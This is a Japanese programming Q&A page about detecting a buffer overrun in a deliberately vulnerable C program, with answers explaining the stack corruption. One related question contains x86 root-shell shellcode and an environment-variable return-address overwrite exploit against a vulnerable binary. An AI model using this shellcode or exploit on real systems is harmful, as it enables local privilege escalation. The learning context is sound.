• 締切済み

バッファオーバーランの危険性検出について

下に示すmsg_file.txtの内容を読み込んで表示するプログラムを使ってバッファオーバーランの危険性を検出するプログラムを作りたいのですが、どのように書き換えたら良いでしょうか。 プログラムソース 1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 #define FILEPATH "msg_file.txt" 6 7 int main(); 8 void vuln(const char* line); 9 void stack_dump(void* ptr, int counts); 10 void hello(); 11 12 int main() 13 { 14 char linebuf[1024]; 15 FILE *fp; 16 long mark1 = 0x11111111; 17 memset(linebuf, 0, sizeof(linebuf)); 18 19 fp = fopen(FILEPATH, "r"); 20 fgets(linebuf, sizeof(linebuf)-1, fp); 21 fclose(fp); 22 23 vuln(linebuf); 24 25 printf("------------- end of main() -------------\n"); 26 } 27 28 void vuln(const char* line) 29 { 30 char msg[20]; 31 long mark2 = 0x22222222; 32 memset(msg, 0, sizeof(msg)); 33 34 strcpy(msg, line); 35 36 stack_dump(&mark2, 13); 37 38 printf("INPUT[%s]\n", msg); 39 } 40 41 void stack_dump(void* ptr, int counts) 42 { 43 int i; 44 unsigned long *ulong_ptr = (unsigned long *)ptr; 45 unsigned char uchar_buf[4]; 46 47 printf("-----------------------------------------\n"); 48 printf(" address | long var | +0 +1 +2 +3 | 0123\n"); 49 printf("-----------------------------------------\n"); 50 for(i=0; i<counts; i++) { 51 printf(" %08x| %08x", &ulong_ptr[i], ulong_ptr[i]); 52 memcpy(uchar_buf, &ulong_ptr[i], sizeof(uchar_buf)); 53 printf(" | %02x %02x %02x %02x", 54 uchar_buf[0], uchar_buf[1], uchar_buf[2], uchar_buf[3]); 55 if(uchar_buf[0]<32 || uchar_buf[0]>126) uchar_buf[0] = '.'; 56 if(uchar_buf[1]<32 || uchar_buf[1]>126) uchar_buf[1] = '.'; 57 if(uchar_buf[2]<32 || uchar_buf[2]>126) uchar_buf[2] = '.'; 58 if(uchar_buf[3]<32 || uchar_buf[3]>126) uchar_buf[3] = '.'; 59 printf(" | %c%c%c%c\n", 60 uchar_buf[0], uchar_buf[1], uchar_buf[2], uchar_buf[3]); 61 } 62 printf("-----------------------------------------\n"); 63 } 64 65 void hello() 66 { 67 printf("+----------+\n"); 68 printf("| HELLO! |\n"); 69 printf("+----------+\n"); 70 exit(0); 71 }

  • tnk48
  • お礼率9% (7/76)

みんなの回答

  • TT414
  • ベストアンサー率18% (72/384)
回答No.2

14 char linebuf[1024]; 15 FILE *fp; 16 long mark1 = 0x11111111; と 30 char msg[20]; 31 long mark2 = 0x22222222; 普通の変数の場合'linebuf'と'mark1'はどちらが先になるか分かりません。構造体にまとめましょう。 >printf(" %08x| %08x", &ulong_ptr[i], ulong_ptr[i]); ポインタの表示にxを使っていますがK&R第2版のころから使えなくなっています。下記のようにしましょう。 printf("%p",ポインタ型の式);またはprintf("%x",(int)(ポインタ型の式));

  • Wr5
  • ベストアンサー率53% (2177/4070)
回答No.1

何をどう検出したいのか判りませんが…。 msg_file.txtが20バイト以上あれば、 >34 strcpy(msg, line); の時点でめでたくバッファオーバーランしていますが…。 その後コールされるstack_dump()で、vuln()のローカル変数mark2の値が破壊されていることが確認できる…かも知れません。 # 実際にメモリ上にどのように配置されるか…で、破壊が確認できない場合もあります。 ぶち壊した後で壊れたことを検出したところで…手遅れですけどね。 # 生卵を叩きつけて割れてぐちゃぐちゃになったのを確認した後で、割れていない状態には戻せませんし。卵焼きは作れません。 で…vuln()のリターンアドレスも幸いにして破壊されているでしょうから、 その後の動作は保証できない。ということになります。 # HDDの中身ぶっ壊そうがリセットされようが不思議はない…ということに。 # まぁ、最近の普通のOSならプロセスがOSによって殺されるだけで済むはずですが。 ## 割れた生卵を掃除して片付ける…みたいな。残念ながら卵焼きは諦めて頂くことに。

関連するQ&A

  • 一番大きい奇数を表示する

    scanf関数を使って数字を10回入力して一番大きなものを表示させるプログラムをつくったのですが、 さらに一番大きな奇数を表示するにはどうすればいいのでしょうか? 偶数=割り切れる 奇数=割り切れない というところまでは分かるのですが、以下のプログラムに奇数を判別するソースを追加するのにはどうすればいいのでしょうか。 #include <stdio.h> int main(void) { char str[1024]; char buf[10]; int i; int w; printf("文字列を10回入力して下さい:\n"); memset(str, 0, sizeof(str)); for (i = 0; i < 10; i++) { memset(buf, 0, sizeof(buf)); printf("input>\n"); scanf("%s", buf); } for (i = 0; i < 10; i++) { if ((buf[i] & 1) == 1) /* 奇数であるか */ { if (strcmp(buf, str) > 0) { strcpy(str, buf); } } } printf("output>\n%s\n" , str); getchar(); }

  • バッファオーバーラン 環境変数参照

    今回私がやってみたいことは脆弱なプログラムにバッファオーバーランを起こさせそれを利用して環境変数に格納してあるshellcodeを実行させrootをゲットするということです。 コードは以下の通りです #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> char shellcode[]= "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" "\x68"; int main(int argc , char *argv[]) { char *env[2]={shellcode,NULL}; int i; long ret,*addr_ptr; char *buffer,*ptr; buffer = malloc(40); ret = 0xbffffffa - strlen(shellcode) - strlen("./vuln2"); ptr = buffer; addr_ptr = (long *)ptr; for(i=0;i<40;i+=4) *(addr_ptr++) = ret; buffer[40-1]=0; execle("./vuln2","vuln2",buffer,0,env); free(buffer); return 0; } vuln2.cのソースです #include <string.h> int main(int argc,char *argv[]) { char buffer[5]; strcpy(buffer,argv[1]); return 0; } 実行結果です ./env Segmentation fault (コアダンプ) なぜかコアダンプしてしまいますしっかりvuln2の戻りアドレスを偽の戻りアドレス(環境変数)で上書きしているはずなのですが。 どなたかわかる方いましたら回答お願いします

  • ダンププログラムの結果表示で2バイトの場合

    ダンププログラムを作っています。 右のファイルの中身を表示する際に、16個目のデータが2バイト(漢字、全角文字など)だった場合、正しく表示されません。 改行前に2バイト目を表示したいのですがどうしたらよろしいでしょうか。 実行結果 /*----------------------- ..printf("ダンプ 表示するファイル 名を入力してくだ さい(ESC.キーで I了)\n");....... .printf("\n");.. ......scanf_s("% s",.fname);..... .if(error.=.fope n_s(&fp,.fname,. "rb").!=..0).{.. ...printf("ファ Cルがオープンで ォません\n");.... -----------------------*/ #include <stdio.h> #include <string.h> void DispData(void); FILE *fp; int main(void) { errno_t error; // エラーコード char fname[64] = { 0 }; // ファイル名 while(1) { printf("ダンプ表示するファイル名を入力してください(ESC キーで終了)\n"); printf("\n"); scanf_s("%s", fname); if(error = fopen_s(&fp, fname, "rb") != 0) { printf("ファイルがオープンできません\n"); } else { DispData(); break; } } printf("\n"); return 0; } void DispData(void) { int i = 0; int n; long addr = 0; unsigned char buf[16]; printf("ADRESS "); for(i=0; i<16; i++) { printf(" %02X", i); } printf(" DATA\n\n"); // ファイルの終了までファイルの内容をbufに1バイトサイズ、16要素で読み込む while( (n = fread(buf,sizeof(unsigned char),16,fp)) > 0) { //アドレスの表示 printf("%08lX ",addr); //読み込んだファイルの内容を16進数で表示 for(i = 0;i < n;i++){ printf("%02X ",buf[i]); } //16個に満たない分はスペースを表示 if(n < 16) { buf[i] = '\0'; for(;i < 16;i++){ printf(" "); } } printf(" "); for(i = 0;i < n; i++) { if((buf[i] >= 0x00) && (buf[i] <= 0x20) ) { putchar('.'); } else { putchar(buf[i]); } } printf("\n"); addr += 16; } }

  • 一番大きい奇数を表示する

    scanf関数を使用して、文字列を10回入力し一番大きい文字列を表示するプログラムを作ったのですが、 一番大きい「奇数」を表示するように条件を加えた場合どうすればよいのでしょうか? 偶数=割り切れる 奇数=割り切れない ということまでは分かるのですがその先が分かりません。 一応一番大きい文字列を表示するプログラムを貼っておきます。 #include <stdio.h> int main(void) { char str[1024]; char buf[10]; int i; printf("文字列を10回入力して下さい:\n"); memset(str, 0, sizeof(str)); for (i = 0; i < 10; i++) { memset(buf, 0, sizeof(buf)); printf("input>\n"); scanf("%s", buf); } if (strcmp(buf, str) > 0) { strcpy(str, buf); } printf("output>\n%s\n" , str); getchar(); }

  • ファイルの内容の表示

    実行時のコマンドライン引数で指定したファイルの内容を、行番号付きで画面に表示するプログラムを作る という問題です。ヒントも与えられています。 行番号付きの表示、コマンドライン引数の利用。両者を組み合わせればできるはずだ >  main関数の引数にargcとargvを指定して、コマンドライン引数をファイル名として利用する。キーボード入力を促す文(プロンプト)や改行チェックは不要なので書かないこと >  コマンドライン引数が指定されない場合は、メッセージを表示してプログラムを終了 >  ファイルの内容を画面表示する処理は、ユーザー定義関数put_file_contentsに記述する。仮引数には文字型のポインタ変数をひとつ指定し、ファイル名を受け渡せるようにする。put_file_contents自体の型は整数型(int)で、正常終了なら返り値0を返すこと。 行番号付きのプログラム#include<stdio.h> > int put_file(char *filename); > > int main() > { > char line[50]; > char *ptr; > > printf("ファイル名を入力:"); > fgets(line,sizeof(line),stdin); > ptr = line + strlen(line) - 1; > if(*ptr == '\n') { > *ptr = '\0'; > } > > put_file(line); > > return 0; > } > > int put_file(char *filename) > { > FILE *fp; > char buf[100]; > int line_no; > > fp = fopen(filename,"r"); > if (fp == NULL){ > printf("%sを開けません\n",filename); > return 1; > } > line_no = 1; > while (fgets(buf,sizeof(buf),fp) != NULL){ > printf("%3d: ",line_no); > printf("%s",buf); > line_no++; > } > fclose(fp); > > return 0; > } で、コマンドライン引数のプログラムは#include<stdio.h> void write_key_inputs(char *filiname); int main(int argc, char *argv[1]) { write_key_inputs(argv[1]); return 0; } void write_key_inputs(char *filename) { FILE *fp; char buf[100] ; fp = fopen(filename,"w"); while(fgets(buf, sizeof(buf),stdin) != NULL) { fputs(buf, fp); } fclose(fp); return ; } です。これらを組み合わせて少しいじると出来るみたいなのですが、できていません。ちなみに私が考えたプログラムは #include<stdio.h> int put_file_contents(char *filename); int main(int argc,char *argv[]) { int i; if(argc == 1){ printf("コマンドライン引数がありません\n"); return 1; } for(i = 0;i<argc;i++) printf("argv[%d]は「%s」です\n",i,argv[i]); put_file(i); return 0; } int put_file(char *filename) { FILE *fp; char buf[100]; int line_no; fp = fopen(filename,"r"); line_no = 1; while (fgets(buf,sizeof(buf),fp) != NULL){ printf("%3d: ",line_no); printf("%s",buf); line_no++; } fclose(fp); return 0; } です。コマンドライン引数は表示されるのですが、行番号が表示されません。どうしたらいいでしょうか??

  • for文

    以下のプログラムのforの条件文がなぜこれで動くのかよくわからないので 教えていただけないでしょうか? #include<stdio.h> int main(void) { int i; char str[] = "ABC"; char *ptr = "123"; for(i=0;str[i];i++) putchar(str[i]); putchar('\n'); for(i=0;ptr[i];i++) putchar(ptr[i]); putchar('\n'); printf("str = \"%s\"\n",str); printf("ptr = \"%s\"\n",ptr); return(0); }

  • char型+char型ってint型? if(char型==int型)?

    C言語の「汎整数拡張(インテグラルプロモーション)」というものに関するものだと思います。 char型とchar型を加えた結果は、char型でしょうか。それともint型でしょうか。 (下のプログラムの printf("sizeof(a[0]+a[1])は%d\n", sizeof(a[0]+a[1])); /* char型+char型 */ という部分の結果は4なので、int型と考えるべきなのかな。) 私は、char型とint型の加算の結果はint型だと思っていましたが、 char型とchar型の加算の結果はやはりchar型だと思っていました。 (それが間違えているのでしょうか。) if(a[0]==i) /* char型とint型の比較(?) */ の部分では、左辺はchar型、右辺はint型ですが、このように型の違う変数を比較しても文法上構わないのでしょうか。 (私は、「比較は必ず型の同じもの同士でしかできない」と思っていました。) 左辺はchar型のように見えて、じつはint型ですか。 #include <stdio.h> int main(void) { char a[4]; int i=77; printf("sizeof(int)は%d\n", sizeof(int)); printf("sizeof(char)は%d\n", sizeof(char)); printf("sizeof('M')は%d\n", sizeof('M')); printf("sizeof(a[0])は%d\n", sizeof(a[0])); a[0]='M'; a[1]=7+6; a[2]=a[0]+a[1]; printf("sizeof(a[0]+a[1])は%d\n", sizeof(a[0]+a[1])); /* char型+char型 */ printf("sizeof(+a[0])=%d\n", sizeof(+a[0])); if(a[0]==i) /* char型とint型の比較(?) */ puts("a[0]==i"); else puts("a[0]!=i"); return(0); } ちなみにワーニングもエラーもなんにもでません。

  • fgets, sscanf, バッファ、ストリーム について

    ファイルからデータを入力するのに、fscanf の代わりに fgets と sscanf を用いようと考えています。 そこで、sscanf に与えるバッファ文字列を、ファイルストリームのように扱う方法は無いものでしょうか。 例えば以下のデータファイルに対して、以下のプログラムをうまく動作させるには、どのようにすればよいでしょうか。 どうぞ、よろしくお願いします。 (データファイル test.dat) n_data 4 1 3 8 4 (プログラム) #include <stdio.h> main() { int i, n_data, *data; char buf[100]; FILE *fp; fp = fopen ( "test.dat", "r" ); fgets(buf, 100, fp); sscanf( buf, "n_data %d\n", &n_data ); data = (int *)malloc( n_data * sizeof(int) ); for( i=0; i<n_data; i++ ){ fgets(buf, 100, fp); sscanf( buf, "%d", &(data[i]) ); } sscanf( buf, "\n" ); close( fp ); printf( "n_data %d\n", n_data ); for( i=0; i<n_data; i++ ) printf( " %d", data[i] ); printf( "\n" ); } ちなみに、2行の fgets(buf, 100, fp); をコメントアウトして、 "sscanf( buf," を "fscanf( fp," に変更するとうまく動作します。

  • ポインタのサイズ

    ポインタのサイズがintと同じになるのは知っているのですが、 以下のコードの場合、 typedef struct hoge{ char buf1[8]; char buf2[16]; }HOGE; void test_func(HOGE *pHoge) { printf("型[%d],実際[%d]\r\n", sizeof(HOGE), sizeof(*pHoge)); memset(pHoge, 0x00, sizeof(*pHoge)); } 正しくサイズが取得できるのですが、 この使い方はC99の仕様的には正しいのでしょうか? よろしくお願いします。

  • ポインタ勉強中です。しかも実行するとおかしいです。

    <本に載ってたソース> #include<stdio.h> #include<string.h> int main() { char msg[20]; char *str=NULL; int i; int cnt; str=&msg[0]; printf("文字を入力してください"); scanf("%s",&str); cnt=strlen(msg); str=msg+cnt; for(i=cnt;i>=0;i--){ printf("%c",*(str--)); } printf("\n"); return 0; } char *str=NULL;は、ポインタstrを空にするということでしょうか? いつもながらstrlenとsizeofが混じります。 sizeofがバイトの大きさで、strlenが、文字数でしたっけ?